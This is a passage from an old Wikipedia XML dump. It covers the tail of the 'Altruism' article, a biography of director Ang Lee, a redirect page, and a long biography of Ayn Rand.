Critics of such technical game theory analysis point out that it appears to forget that human beings are rational and emotional. To presume an analysis of human behaviour without including human rationale or emotion is necessarily unrealistically narrow, and treats human beings as if they are mere machines, sometimes called [[Homo economicus]]. Another objection is that often people donate anonymously, so that it is impossible to determine if they really did the altruistic act.

Beginning with an understanding that rational human beings benefit from living in a benign universe, logically it follows that particular human beings may gain substantial emotional satisfaction from acts which they perceive to make the world a better place.

== Comparison of Altruism and Tit for Tat ==
Studying the simple strategy &quot;[[Tit for tat]]&quot; in the 
[[iterated prisoner's dilemma]] problem, [[game theory|game theorists]] argue that 
&quot;Tit for tat&quot; is much more successful in establishing stable [[cooperation]] among
individuals than altruism, defined as ''unconditional'' cooperation, can ever be. 

&quot;Tit for tat&quot; starts with cooperation in the first
step (as altruism does) and then just imitates the behaviour of the partner step by step. If the partner
cooperates, then he ''rewards'' him with cooperation, if he doesn't, then he 
''punishes'' him by not cooperating in the next step. 

Confronted with many strategies that try to exploit or abuse cooperation of others, this 
simple strategy surprisingly proved to be the most successful (see [[The Evolution of Cooperation]]). 
It was even more successful than these abusing strategies, while unconditional cooperativity (altruism) was
one of the most unsuccessful strategies.  
Confronted with altruistic behaviour, Tit for tat is indistinguishable from 
pure altruism. [[Robert Axelrod]] and [[Richard Dawkins]] also showed that 
altruism may be harmful to society by nourishing exploiters and abusers (and making them more and
more powerful until they can force everyone to cooperate unconditionally), which
is not the case for &quot;Tit for tat&quot;. (See also comparison of [[entrepreneur]] and [[entredonneur]])

In the context of [[biology]], the &quot;Tit for tat&quot; strategy is also called [[reciprocal altruism]].

==Altruism in politics==
&lt;table border&gt;
&lt;tr&gt;
&lt;td colspan='2' align='center'&gt;'''There is currently a [[WP:NPOV|POV]] [[WP:DR|dispute]] as to the wording of the section shown below.'''&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign='top'&gt;
If one is an adherent to the ''ethical doctrine'' called altruism (that people have an ethical obligation to help or further the welfare of others), then one will support the kind of politics that one believes to be most effective in furthering the welfare of others, regardless of the effect this may have on oneself. Since there is no general consensus on what kind of politics results in the greatest benefit for others, different altruists may have very different political views.

With regard to their political convictions, altruists may be divided in two broad groups: Those who believe altruism is a matter of personal choice (and therefore selfishness can and should be tolerated), and those who believe that altruism is a moral ideal which should be embraced, if possible, by all human beings.

A prominent example of the former branch of altruist political thought is [[Lysander Spooner]], who, in ''Natural Law'', writes: &quot;''Man, no doubt, owes many other moral duties to his fellow men; such as to feed the hungry, clothe the naked, shelter the homeless, care for the sick, protect the defenceless, assist the weak, and enlighten the ignorant. But these are simply moral duties, of which each man must be his own judge, in each particular case, as to whether, and how, and how far, he can, or will, perform them.''&quot;

The latter branch of altruist political thought, on the other hand, argues that [[egoism]] should be actively discouraged, and that altruists have a duty not only to help other people, but to teach those people to help each other as well. Thus, in politics, these altruists almost always take a [[left-wing]] stance, ranging from moderate [[social democracy]] to [[socialism]] or even [[communism]]. Moderate altruists of this branch may argue for the creation of [[tax|taxation-funded]] government programs aimed at benefiting the needy (for example [[transfer payments]], such as [[social welfare]], or [[public healthcare]] and [[public education]]). Less obvious things such as a law that motorists pull over to let emergency vehicles pass may also be justified by appealing to the altruism ethic. Finally, radical altruists of this branch may take things further and advocate some form of [[collectivism]] or [[communalism]].

On a somewhat related note, altruism is often held - even by non-altruists - to be the kind of ethic that should guide the actions of politicians and other people in positions of power. Such people are usually expected to set their own interests aside and serve the populace. When they do not, they may be criticized as defaulting on what is believed to be an ethical obligation to place the interests of others above their own.
&lt;/td&gt;
&lt;td valign='top'&gt;
Politicians often speak of a moral obligation of individuals to help others. For example, [[George Bush]], speaking to the [[United Nations]] said: &quot;We have a moral obligation to help others -- and a moral duty to make sure our actions are effective.&quot;

If one is an adherent to the ''ethical doctrine'' called altruism (that people have an ethical obligation to help or further the welfare of others), it can become a moral justification for forcing, or advocating forcing individuals to help others. In the realm of politics, the altruist may employ an agent in the form of [[government]] to enforce this supposed moral obligation. This is not to say that an ethical altruist will ''necessarily'' force this on anyone. An altruist may allow others the freedom to behave in a manner they believe to be immoral or selfish. In other words, their ethical doctrine would not manifest itself politically.

With regard those who believe benevolence is a moral obligation, altruists may be divided in two broad groups: Those who believe helping others is a moral obligation but should not be enforced on individuals. And, those who believe that since helping others is a moral obligation, forcing individuals to help others if they are not willing on their own is justified.

A prominent example of the former branch of altruist political thought is [[Lysander Spooner]], who, in ''Natural Law'', writes: &quot;''Man, no doubt, owes many other moral duties to his fellow men; such as to feed the hungry, clothe the naked, shelter the homeless, care for the sick, protect the defenceless, assist the weak, and enlighten the ignorant. But these are simply moral duties, of which each man must be his own judge, in each particular case, as to whether, and how, and how far, he can, or will, perform them.''&quot; 

The latter branch of altruist political thought, on the other hand, argues that [[egoism]] should be actively discouraged, and that individuals should be forced to help other people. Thus, in politics, these altruists almost always take a [[left-wing]] stance, ranging from moderate [[social democracy]] to [[socialism]] or even [[communism]]. Moderate altruists of this branch may argue for the creation of [[tax|taxation-funded]] government programs aimed at benefiting the needy (for example [[transfer payments]], such as [[social welfare]], or [[public healthcare]] and [[public education]]). Finally, radical altruists of this branch may take things to an extreme and advocate some form of state-enforced [[collectivism]], [[communalism]], or communism. This is in line with August Comte's philosophy (who coined the term altruism), which argues against individual rights.

Finally, many believe that helping others or serving society is not a moral obligation at all, but that altrusm is an arbitrary pronouncement not philosophically derivable. These oppose all government-enforced charity. [[Individualist anarchist]] [[Pierre-Joseph Proudhon]] in 1847 warns of enforcing charity: &quot;That is why charity, the prime virtue of the Christian, the legitimate hope of the socialist, the object of all the efforts of the economist, is a social vice the moment it is made a principle of constitution and a law; that is why certain economists have been able to say that legal charity had caused more evil in society than proprietary usurpation&quot; (''The Philosophy of Poverty'').

Comte asserts that individual rights are not compatible with the supposed obligation to serve others. Some argue that the ethical doctrine, if taken to its logical conclusion, leads to tyranny.
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

==Altruism and religion==
{{sect-stub}}
All the major world [[religion]]s promote altruism as a very important moral value. [[Christianity]] and [[Buddhism]] place particular emphasis on altruistic morality, as noted above, but [[Judaism]], [[Islam]] and [[Hinduism]] also promote altruistic behavior.
The [[Good Samaritan]] is a famous [[New Testament]] parable appearing only in the [[Gospel of Luke]] (10:25-37). The parable is told by [[Jesus]] illustrating altruism.
 &lt;!-- This section should continue by quoting altruism-related verses from the holy books of the aforementioned religions --&gt;

==See also==
* [[Altruism (ethical doctrine)]]
* [[Altruism in animals]]
* [[Psychology]]
* [[Euphemism]]
* [[Will (law)]]
* [[Trust (law)]]
* [[Tit for tat]]
* [[Reciprocal altruism]]

==External links==
*[http://www.altruists.org/about/altruism What is Altruism? (Altruists International)]
*[http://plato.stanford.edu/entries/altruism-biological/ Biological Altruism ]
*[http://www.humboldt.edu/~altruism/home.html The Altruistic Personality and Prosocial Behavior Institute at Humboldt State University]
*[http://www.iipbaar.org International Institute for Prosocial Behavior and Altruism Research]

==References==
*Batson, C.D. (1991).  ''The altruism question''.  Hillsdale, NJ: Erlbaum. 
*Fehr, E. &amp; Fischbacher, U. ([[23 October]] [[2003]]). The nature of human altruism. In ''Nature, 425'', 785 &amp;ndash; 791.
*[[August Comte]], ''Catechisme positiviste'' (1852) or ''Catechism of Positivism'', tr. R. Congreve, (London: Kegan Paul, 1891)
* Oord, Thomas Jay, Science of Love (Philadelphia: Templeton Foundation Press, 2004).
*[[Nietzsche, Friedrich]], ''[[Beyond Good and Evil]]''
*[[Pierre-Joseph Proudhon]], ''The Philosophy of Poverty'' (1847)
*[[Lysander Spooner]], ''Natural Law''
*[[Ayn Rand]], ''[[The Virtue of Selfishness]]''
*[[Matt Ridley]], ''[[The Origins Of Virtue]]''
*Oliner, Samuel P. and Pearl M.  Towards a Caring Society: Ideas into Action.  West Port, CT: Praeger, 1995.
* ''[[The Evolution of Cooperation]]'', [[Robert Axelrod]], Basic Books,  ISBN 0465021212
*''[[The Selfish Gene]]'', [[Richard Dawkins]] (1990), second edition -- includes two chapters about the evolution of cooperation, ISBN 0192860925
*[[Robert Wright_(journalist)|Robert Wright]], ''The moral animal'',  Vintage, 1995, ISBN 0679763996.

{{Philosophy navigation}}

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[[Category:Social psychology]]
[[Category:Sociology]]
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    <title>Ang Lee</title>
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      <text xml:space="preserve">[[Image:Ang_lee.jpg|frame|Lee accepting the Best Foreign Film award for ''[[Crouching Tiger, Hidden Dragon]]'' at the 73rd Academy Awards]]
'''Ang Lee''' (Chinese: 李安; Pinyin: Lǐ Ān ) (born [[October 23]], [[1954]]) is an [[Academy Award]]-winning [[film director]]  from [[Taiwan]].

==Early life==
Ang Lee was born and raised in [[Pingtung County|Pingtung, Taiwan]] and educated in the [[United States]], where he found success as a [[Hollywood]] director, well-known for his [[wuxia]] film ''[[Crouching Tiger, Hidden Dragon]]''  (2000).

He completed his bachelor's degree in Theater from the [[University of Illinois]] and received his [[MFA]] from [[New York University]]'s [[Tisch School of the Arts]], where in 1984 he made a thesis film called ''Fine Line''. He was a classmate of [[Spike Lee]] and worked on the crew of the latter Lee's thesis film, ''Joe's Bed-Stuy Barbershop: We Cut Heads''. 

==Career==
Many of his films have focused on the interactions between modernity and tradition. His films have also tended to have a light-hearted comic tone which marks a break from the tragic historical realism which characterized Taiwanese filmmaking after the end of the martial law period in 1987. Lee's films also tend to draw on deep secrets and internal torment that begin to come to the surface such as the gay-themed films ''[[The Wedding Banquet]]'' (1993), ''[[Brokeback Mountain]]'' (2005), the martial arts epic ''[[Crouching Tiger, Hidden Dragon]]'' (2000) and the comic book adaptation ''[[Hulk (film)|Hulk]]'' (2003)

He received the Dartmouth Film Award in 2002, along with [[Meryl Streep]].

Lee's film ''[[Brokeback Mountain]]'' (2005) won the best film award at the Venice International Film Festival and was named 2005's best film by the Los Angeles film critics. It also won the [[Golden Globe Award]] for Best Motion Picture — Drama, with Lee winning the [[Golden Globe Award]] for Best Director. Lee also won the Best Director award for the film at the 2006 British Academy Awards (BAFTAs). In January 2006, Brokeback scored a leading 8 [[Academy Award]] nominations including Lee for Best Director.  The film is considered to be the frontrunner for the March 5, 2006 ceremony.  He taught [[Meryl Streep]]'s son and [[Kai Christophe Wong]], initially scheduled for the lead in ''[[Dark Matter]]''.

==Private life==
His wife, Jane, is a microbiologist; they have two children, Haan and Mason.
He is a huge fan of the [[Vancouver Canucks]] of the [[National Hockey League]]. He kept his directing aspirations a secret because his culture did not encourage ambitions in a non-practical career like film.

==Films==

=== Director ===
* ''[[Hulk 2]]'' (2007)
* ''[[Brokeback Mountain]]'' (2005) 
* ''[[Hulk (film)|Hulk]]'' (2003) 
* ''[[The Hire]]'' (BMW Short Movies) - Chosen (2002) 
* ''[[Crouching Tiger, Hidden Dragon]]'' (Chinese: 臥虎藏龍) (2000) 
* ''[[Ride with the Devil]]'' (1999) 
* ''[[The Ice Storm]]'' (1997) 
* ''[[Sense and Sensibility (film)|Sense and Sensibility]]'' (1995) 
* ''[[Eat Drink Man Woman]]'' (Chinese: 飲食男女) (1994) 
* ''[[The Wedding Banquet]]'' (Chinese: 喜宴) (1993) 
* ''[[Pushing Hands (movie)|Pushing Hands]]'' (Chinese: 推手) (1992)
* ''Fine Line'' (1984)
* ''Shades of the lake'' (1982)
* ''I Love Chinese Food'' (1981)
* ''Beat the Artist'' (1981)
* ''The Runner''' (1980)
* ''One Day of Ma-Chuan Chen'' (Chinese: 陳媽勸的一天)
* ''Laziness in a Saturday Afternoon'' (Chinese: 星期六下午的懶散)
''See Also:'' [[:Category:Films directed by Ang Lee|Films directed by Ang Lee]]

=== Writer ===
* ''[[Siao Yu]]'' (Chinese: 少女小漁) (1995)
* ''[[Eat Drink Man Woman]]'' (Chinese: 飲食男女) (1994) 
* ''[[The Wedding Banquet]]'' (Chinese: 喜宴) (1993) 
* ''[[Pushing Hands (movie)|Pushing Hands]]'' (Chinese: 推手) (1992)

=== Actor ===
* ''[[The Wedding Banquet]]'' (Chinese: 喜宴) (1993)
* ''[[The Hulk]]''(2003)

=== Editing ===
* ''[[Eat Drink Man Woman]]'' (Chinese: 飲食男女) (1994) 
* ''[[Pushing Hands (movie)|Pushing Hands]]'' (Chinese: 推手) (1992)

=== Producer ===
* ''[[Crouching Tiger, Hidden Dragon]]'' (Chinese: 臥虎藏龍) (2000)
* ''[[Siao Yu]]'' (Chinese: 少女小漁) (1995)

==External links==
* {{imdb name|id=0000487|name=Ang Lee}}
* [http://www.thecheappop.com/heath.html Ang Lee on Brokeback]
* [http://movie.cca.gov.tw/PEOPLE/people_inside.asp?rowid=70&amp;id=1 Ang Lee] (Chinese)

[[Category:1954 births|Lee, Ang]]
[[Category:Living people|Lee, Ang]]
[[Category:American film directors|Lee, Ang]]
[[Category:Hulk|Lee, Ang]]
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[[Category:Best Director Oscar nominees]]
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    <title>AutoRacing</title>
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      <text xml:space="preserve">#REDIRECT [[Auto racing]]
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  <page>
    <title>Ayn Rand</title>
    <id>339</id>
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      <id>40260861</id>
      <timestamp>2006-02-19T08:35:36Z</timestamp>
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      <text xml:space="preserve">{{protected}}
{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophy |
  era             = [[Contemporary philosophy]], |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = Ayn_Rand1.jpg|
  image_caption   = Ayn Rand: novelist and philosopher|

  &lt;!-- Information --&gt;
  name             = Ayn Rand |
  birth            = [[February 2]], [[1905]] |
  death            = [[March 6]], [[1982]]|
  school_tradition = [[Objectivist philosophy]] |
  main_interests   = [[Objectivist metaphysics]], [[Objectivist ethics]]|
  influences       = [[Aristotle]], [[Thomas Aquinas]], [[Nietzsche]] | 
  influenced       = [[Leonard Peikoff]], [[Harry Binswanger]], [[John Ridpath]], [[Tara Smith]], [[David Kelley]], [[Dr. Frank R. Wallace]]|
  notable_ideas    = |[[Rational self-interest]]}}

'''Ayn Rand''' ({{IPA2|ajn ɹænd}}, {{OldStyleDate|February 2|1905|January 20}} &amp;ndash; [[March 6]] [[1982]]), born '''Alissa Zinovievna Rosenbaum''', was best known for her [[philosophy]] of [[Objectivist philosophy|Objectivism]] and her novels ''[[We the Living]]'', ''[[Anthem (novel)|Anthem]]'', ''[[The Fountainhead]]'', and ''[[Atlas Shrugged]]''. Her philosophy and her fiction both emphasize, above all, the concepts of [[individualism]], rational [[egoism]] (&quot;[[Objectivist ethics|rational self-interest]]&quot;), and [[capitalism]], which she believed should be implemented fully via ''[[Laissez-faire]]'' [[capitalism]]. Her politics has been described as [[minarchism]] and [[libertarianism]], though she never used the first term and detested the second.

Her novels were based upon the projection of the Randian [[hero]], a man whose ability and independence causes conflict with the masses, but who perseveres nevertheless to achieve his values. Rand viewed this hero as the ideal, and the express goal of her fiction was to showcase such heroes. 

She believed:
*That man must choose his values and actions by reason; 
*That the individual has a right to exist for his own sake, neither sacrificing self to others nor others to self; and 
*That no one has the right to seek values from others by physical force, or impose ideas on others by physical force.

==Biography==
===Early life===
Rand was born in [[Saint Petersburg]], [[Russia]], and was the eldest of three daughters of a [[Jew]]ish family. Her parents were [[agnostic]] and largely non-observant. From an early age, she displayed a strong interest in literature and films. She started writing screenplays and novels from the age of seven. Her mother taught her French and subscribed to a magazine featuring stories for boys, where Rand found her first childhood hero: Cyrus Paltons, an Indian army officer in a [[Rudyard Kipling]]-style story called &quot;The Mysterious Valley&quot;. Throughout her youth, she read the novels of [[Sir Walter Scott]], [[Alexandre Dumas]] and other Romantic writers, and expressed a passionate enthusiasm toward the Romantic movement as a whole. She discovered [[Victor Hugo]] at the age of thirteen, and fell deeply in love with his novels. Later, she cited him as her favorite novelist and the greatest novelist of world literature. She studied philosophy and history at the [[Saint Petersburg State University|University of Petrograd]]. Her major literary discoveries in university were the works of [[Edmond Rostand]], [[Friedrich Schiller]] and [[Fyodor Dostoevsky]]. She admired Rostand for his richly romantic imagination and Schiller for his grand, heroic scale. She admired Dostoevsky for his sense of drama and his intense moral judgments, but was deeply against his philosophy and his sense of life. She continued to write short stories and screenplays and wrote sporadically in her diary, which contained intensely anti-Soviet ideas. She also encountered the philosophical ideas of [[Nietzsche]], and loved his exaltation of the heroic and independent individual who embraced egoism and rejected altruism in ''[[Thus Spoke Zarathustra]]''. Though an early fan of Nietzsche, she eventually became critical, seeing his philosophy as emphasizing emotion over reason. Nevertheless, as Allan Gotthelf points out in book ''On Ayn Rand'', &quot;the influence was real.&quot; She did still retain an admiration for some of his ideas, and quoted Nietzsche in the introduction to the 25th aniversary edition of ''The Fountainhead'': &quot;''The noble soul has reverence for itself.''&quot; Her greatest influence by far is [[Aristotle]], especially ''Organon (Logic)''. Although Leonard Peikoff, promoter of her ideas, says she is the greatest philosopher who ever lived, she herself considered Aristotle the greatest philosopher ever, and stated that he was the only philosopher who had influenced her (this is probably because, as she has stated, she did not include her own work when analyzing the culture.) She then entered the State Institute for Cinema Arts in 1924 to study screenwriting; in late 1925, however, she was granted a [[Visa (document)|visa]] to visit American relatives. She arrived in the [[United States]] in February 1926, at the age of twenty-one. After a brief stay with her relatives in [[Chicago, Illinois|Chicago]], she resolved never to return to the [[Soviet Union]], and set out for [[Hollywood]] to become a [[screenwriter]]. She then changed her name to &quot;Ayn Rand&quot;. There is a story told that she named herself after the [[Remington Rand]] [[typewriter]], but she began using the name Ayn Rand before the typewriter was first sold. She stated that her first name, 'Ayn', was an adaptation of the name of a Finnish writer. This may have been the Finnish-Estonian author [[Aino Kallas]], but variations of this name are common in [[Finnish language|Finnish]]-speaking regions.

===Major works===
Initially, Rand struggled in [[Cinema of the United States|Hollywood]] and took odd jobs to pay her basic living expenses. While working as an [[extra (drama)|extra]] on [[Cecil B. DeMille]]'s ''[[The King of Kings|King of Kings]]'', she intentionally bumped into an aspiring young actor, [[Frank O'Connor (actor)|Frank O'Connor]], who caught her eye. The two married in 1929. In 1931, Rand became a [[naturalized citizen]] of the United States. Her first literary success came with the sale of her screenplay ''[[Red Pawn]]'' in 1932 to [[Universal Studios]]. Rand then wrote the play ''[[The Night of January 16th]]'' in 1934, which was highly successful, and published two novels, ''[[We the Living]]'' (1936), and ''[[Anthem (novella)|Anthem]]'' (1938). While ''We the Living'' met with mixed reviews in the U.S. and positive reviews in the U.K., ''Anthem'' received significiant and positive reviews only in England, due in part to its odd publication history.  She was up against [[The Red Decade ]] in America, and ''Anthem'' did not even find a publisher in the United States; it was first published in England. Besides, Rand had still not perfected her literary style and these novels cannot be considered representative.

Without Rand's knowledge or permission, ''[[We The Living]]'' was made into a pair of films, ''Noi vivi'' and ''Addio, Kira'' in 1942 by Scalara Films, [[Rome]]. They were nearly censored by the [[Italy|Italian]] government under [[Benito Mussolini]], but they were permitted because the novel upon which they were based was anti-Soviet. The films were successful and the public easily realized that they were as much against Fascism as Communism, and the government banned them quickly  thereafter. These films were re-edited into a new version which was approved by Rand and re-released as ''We the Living'' in 1986.

Rand's first major professional success came with her best-selling novel ''[[The Fountainhead]]'' (1943), which she wrote over a period of seven years. The novel was rejected by twelve publishers, who thought it was too intellectual and opposed to the mainstream of American thought. It was finally accepted by the [[Bobbs-Merrill Company]] publishing house, thanks mainly to a member of the editorial board, Archibald Ogden, who praised the book in the highest terms and finally prevailed.  Eventually, ''The Fountainhead'' was a worldwide success, bringing Rand fame and financial security.

The theme of ''The Fountainhead'' is &quot;individualism and collectivism in man's soul&quot;. It features the lives of five main characters. The hero, Howard Roark, is Rand's ideal, a noble soul ''par excellence'', an architect who is firmly and serenely devoted to his own ideals and believes that no man should copy the style of another in any field, especially architecture. All the other characters in the novel demand that he renounce his values, but Roark maintains his integrity. Unlike traditional heroes who launch into long and passionate monologues about their integrity and the unfairness of the world; Roark, in contrast, does it with a disdainful, almost contemptuous taciturnity and laconicism.

Rand's [[magnum opus]], ''[[Atlas Shrugged]]'', was published in 1957, becoming an international bestseller. ''Atlas Shrugged'' is often seen as Rand's most complete statement of the [[Objectivist philosophy]] in any of her works of fiction. In its appendix, she offered this summary:
:&quot;My philosophy, in essence, is the concept of man as a heroic being, with his own happiness as the moral purpose of his life, with productive achievement as his noblest activity, and reason as his only absolute.&quot;

The theme of ''Atlas Shrugged'' is &quot;The role of man's mind in society&quot;. Rand upheld the industrialist as one of the most admirable members of any society and fiercely opposed the popular resentment accorded to industrialists. This led her to envision a novel wherein the industrialists of America go on strike and retreat to a mountainous hideaway. The American economy and its society in general slowly start to collapse. The government responds by increasing the already stifling controls on industrial concerns. The novel deals with issues as complex and divergent as sex, music, medicine, politics, and human ability.

Along with [[Nathaniel Branden]], his wife [[Barbara Branden|Barbara]], and others including [[Alan Greenspan]] and [[Leonard Peikoff]], (jokingly designated &quot;[[The Ayn Rand Collective|The Collective]]&quot;), Rand launched the [[Objectivism|Objectivist]] movement to promote her philosophy.

===The Objectivist movement===
''Main article: The [[Objectivist movement]]''

In 1950 Rand moved to [[New York City]], where in  1951 she met the young [[psychology]] student [[Nathaniel Branden]] [http://www.nathanielbranden.com], who had read her book, ''The Fountainhead'', at the age of 14. Branden, then 19, enjoyed discussing Rand's emerging Objectivist philosophy with her. Together, Branden and some of his other friends formed a group that they dubbed the [[Collective]], which included some participation by future Federal Reserve chairman [[Alan Greenspan]]. After several years, Rand and Branden's friendly relationship blossomed into a romantic affair, despite the fact that both were married at the time. Their spouses were both convinced to accept this affair but it eventually led to the separation and then divorce of [[Nathaniel Branden]] from his wife. Although one of Rand's most strident philosophical points was never to bow to societal pressure or norms, Ayn Rand abandoned her own name (see top of page), as did Branden (born Nathan Blumenthal). 

Throughout the [[1960s]] and [[1970s]], Rand developed and promoted her Objectivist philosophy through both her fiction [http://www.aynrand.org/site/PageServer?pagename=objectivism_fiction] and non-fiction [http://www.aynrand.org/site/PageServer?pagename=objectivism_nonfiction] works, and by giving talks at several east-coast universities, largely through the [[Nathaniel Branden Institute]] (&quot;the NBI&quot;) which Branden established to promote her philosophy. 

After a convoluted series of separations, Rand abruptly ended her relationship with both Nathaniel Branden and his wife, [[Barbara Branden]], in 1968 when she learned of Nathaniel Branden's affair with Patrecia Scott (this later affair did not overlap chronologically with the earlier Branden/Rand affair).  Rand refused to have any further dealings with the NBI.  She then published a letter in &quot;The Objectivist&quot; announcing her repudiation of Branden for various reasons, including dishonesty, but did not mention their affair or her role in the schism. The two never reconciled, and Branden remained a ''persona non grata'' in the Objectivist movement.
[[Image:ayn rand stamp.jpg|222px|frame|left|1999 U.S. [[postage stamp]] honoring Rand. Art by [[Nick Gaetano]].]]

Barbara Branden presented an account of the breakup of the affair in her book, ''The Passion of Ayn Rand.'' She describes the encounter between Nathaniel and Rand, saying that Rand slapped him numerous times, and denounced him in these words: &quot;If you have an ounce of morality left in you, an ounce of psychological health — you'll be impotent for the next twenty years! And if you achieve any potency, you'll know it's a sign of still worse moral degradation!&quot;

Conflicts continued in the wake of the break with Branden and the subsequent collapse of the NBI. Many of her closest &quot;Collective&quot; friends began to part ways, and during the late 70's, her activities within the formal Objectivist movement began to decline, a situation which increased after the death of her husband in 1979. One of her final projects was work on a television adaptation of ''Atlas Shrugged''.

Rand died of heart failure on [[March 6]], [[1982]] in [[New York City]], years after having successfully battled cancer, and was interred in the [[Kensico Cemetery]], [[Valhalla, New York]].

[[Image:Ayn_Rand_Marker.jpg|thumb|right|324px|Grave marker of [[Frank O'Connor (actor)|Frank O'Connor]] and Ayn Rand.]]

===Philosophical influences===
Rand rejected virtually all other philosophical schools. She acknowledged a shared intellectual lineage with [[Aristotle]] and [[John Locke]], and more generally with the philosophies of the [[Age of Enlightenment]] and the [[Age of Reason]].  She occasionally remarked with approval on specific philosophical positions of, e.g., [[Baruch Spinoza]] and [[Thomas Aquinas]]. She seems also to have respected the American rationalist [[Brand Blanshard]]. However, she regarded most philosophers as at best incompetent and at worst downright evil. She singled out [[Immanuel Kant]] as the most influential of the latter sort.

Nonetheless, there are connections between Rand's views and those of other philosophers. She acknowledged that she had been influenced at an early age by the writings of [[Friedrich Nietzsche]]. Though she later repudiated his thought and reprinted her first novel, ''[[We The Living]]'', with some wording changes in 1959, her own thought grew out of critical interaction with it.  Generally, her political thought is in the tradition of [[classical liberalism]]. She expressed qualified enthusiasm for the economic thought of [[Ludwig von Mises]] and [[Henry Hazlitt]]. Though not mentioned as an influence by her specifically, parallels between her works and [[Ralph Waldo Emerson]]'s essay [[Self-Reliance]] do exist.  Later Objectivists, such as [[Richard Salsman]], have claimed that Rand's economic theories are implicitly more supportive of the doctrines of [[Jean-Baptiste Say]], though Rand herself was likely not acquainted with his work.

===Politics and House Committee on Un-American Activities testimony===
Rand's political views were radically pro-[[capitalist]], [[anti-statist]], and [[anti-Communist]]. Her writings praised above all the human individual and the creative genius of which one is capable. She exalted what she saw as the heroic [[American values]] of egoism and individualism. Rand also had a strong dislike for [[mysticism]], [[religion]], and compulsory [[charity]], all of which she believed helped foster a crippling culture of resentment towards individual human happiness and success.  Rand detested many prominent [[liberalism|liberal]] and [[conservative]] politicians of her time, even including prominent anti-Communist crusaders like Presidents [[Harry S. Truman]] and [[Ronald Reagan]], and Senators [[Hubert H. Humphrey]] and [[Joseph McCarthy]] (although she argued that ''[[McCarthyism]]'' was a myth, and that the accusation of McCarthyism was used as an [[ad hominem]] argument to discredit anti-Communists).

In 1947, during the [[Red Scare]], Rand testified as a &quot;friendly witness&quot; before the [[House Committee on Un-American Activities]] (see [[http://www.noblesoul.com/orc/texts/huac.html]]). Rand's testimony involved analysis of the 1943 film ''[[Song of Russia]]''. While many believe that Ayn Rand disclosed the names of members of the Communist Party in the U.S., thus exposing them to [[blacklisting]], her testimony consisted entirely of comments regarding the disparity between her experiences in the [[Soviet Union]] and the fanciful portrayal of it in the film.

Rand argued that the movie grossly misrepresented the socioeconomic conditions in the Soviet Union. She told the committee that the film presented life in the USSR as being much better than it actually was. Apparently this 1943 film was intentional wartime [[propaganda]] by U.S. patriots, trying to put their Soviet allies in [[World War II]] under the best possible light. After the HUAC hearings, when Ayn Rand was asked about her feelings on the effectiveness of their investigations, she described the process as &quot;futile&quot;.

==Legacy==
Rand's funeral was attended by some of her prominent followers, including [[Alan Greenspan]]. A six-foot floral arrangement in the shape of a dollar sign was placed near her casket. [http://www.eckerd.edu/aspec/writers/atlas_shrugged.htm]

In 1985, [[Leonard Peikoff]], a surviving member of &quot;[[The Ayn Rand Collective|The Collective]]&quot; and Ayn Rand's designated heir, established &quot;The [[Ayn Rand Institute]]: The Center for the Advancement of Objectivism&quot; (ARI). The Institute has since registered the name ''Ayn Rand'' as a trademark, despite Rand's desire that her name never be used to promote the philosophy she developed. Rand expressed her wish to keep her name and the philosophy of Objectivism separate to ensure the survival of her ideas. 	 
	 
Another schism in the movement occurred in 1989, when Objectivist [[David Kelley]] wrote &quot;A Question of Sanction,&quot; [http://www.wetheliving.com/boston/sanction.html] in which he defended his choice to speak to non-Objectivist [[Libertarianism|libertarian]] groups. Kelley stated that Objectivism was not a &quot;closed system&quot; and should engage with other philosophies. Peikoff, in an article for ''[[The Intellectual Activist]]'' called &quot;Fact and Value&quot; [http://www.aynrand.org/site/PageServer?pagename=objectivism_f-v], argued that Objectivism is, indeed, a closed system, and that truth and moral goodness are directly related. Peikoff expelled Kelley from his movement, whereupon Kelley founded The Institute for Objectivist Studies (now known as &quot;[[The Objectivist Center]]&quot;).	 

Rand and Objectivism are less well known outside [[North America]], although there are pockets of interest in [[Europe]] and [[Australia]], and her novels are reported to be popular in [[India]] ([http://www.theatlasphere.com/metablog/000058.php]) and to be gaining an increasingly wider audience in [[Africa]]. Her work has had little effect on academic philosophy, for her followers are, with some notable exceptions, drawn from the non-academic world.

[[Neil Peart]], the drummer and lyricist with the Canadian progressive rock band [[Rush (band)|Rush]], was influenced by Rand philosophy during the early years of the band. The most notable instances of this are the track &quot;Anthem&quot; from the album ''[[Fly By Night]]'' ([[1975]]) and the title track from the album ''[[2112]]'' ([[1976]]).

==Controversy==
Rand's views are controversial. Religious and socially conservative thinkers have criticized her atheism. Many adherents and practitioners of [[continental philosophy]] criticize her celebration of rationality and self-interest. Within the dominant philosophical movement in the English-speaking world, [[analytic philosophy]], Rand's work has been mostly ignored. No leading research university in this tradition considers Rand or Objectivism to be an important philosophical specialty or research area, as is documented by [[Brian Leiter]]'s report [http://www.philosophicalgourmet.com/]. Some academics, however, are trying to bring Rand's work into the mainstream. For instance, the [http://www.aynrandsociety.org/ Ayn Rand Society], founded in 1987, is affiliated with the [[American Philosophical Association]]. In 2006, [[Cambridge University Press]] will publish a volume on Rand's ethical theory written by ARI-affiliated scholar [[Tara Smith]].

A notable exception to the general lack of attention paid to Rand is the essay &quot;On the Randian Argument&quot; by [[Harvard University]] philosopher [[Robert Nozick]], which appears in his collection ''Socratic Puzzles''. Nozick's own [[libertarian]] political conclusions are similar to Rand's, but his essay criticizes her foundational argument in ethics, which claims that one's own life is, for each individual, the only ultimate value because it makes all other values possible. To make this argument sound, Nozick argues that Rand still needs to explain why someone could not rationally prefer the state of eventually dying and having no values. Thus, he argues, her attempt to deduce the morality of selfishness is essentially an instance of assuming the conclusion or [[begging the question]] and that her solution to [[David Hume]]'s famous [[is-ought problem]] is unsatisfactory. Nevertheless, Nozick respected Rand as an author and noted that he found her books enjoyable and thought-provoking.

Rand has sometimes been viewed with suspicion for her practice of presenting her philosophy in fiction and non-fiction books aimed at a general audience rather than publishing in [[peer-review]]ed journals. Rand's defenders note that she is part of a long tradition of authors who wrote philosophically rich fiction — including [[Dante]], [[John Milton]], [[Fyodor Dostoevsky]], and [[Albert Camus]], and that other philosophers such as [[Jean-Paul Sartre]] presented their philosophies in both fictional and non-fictional forms.

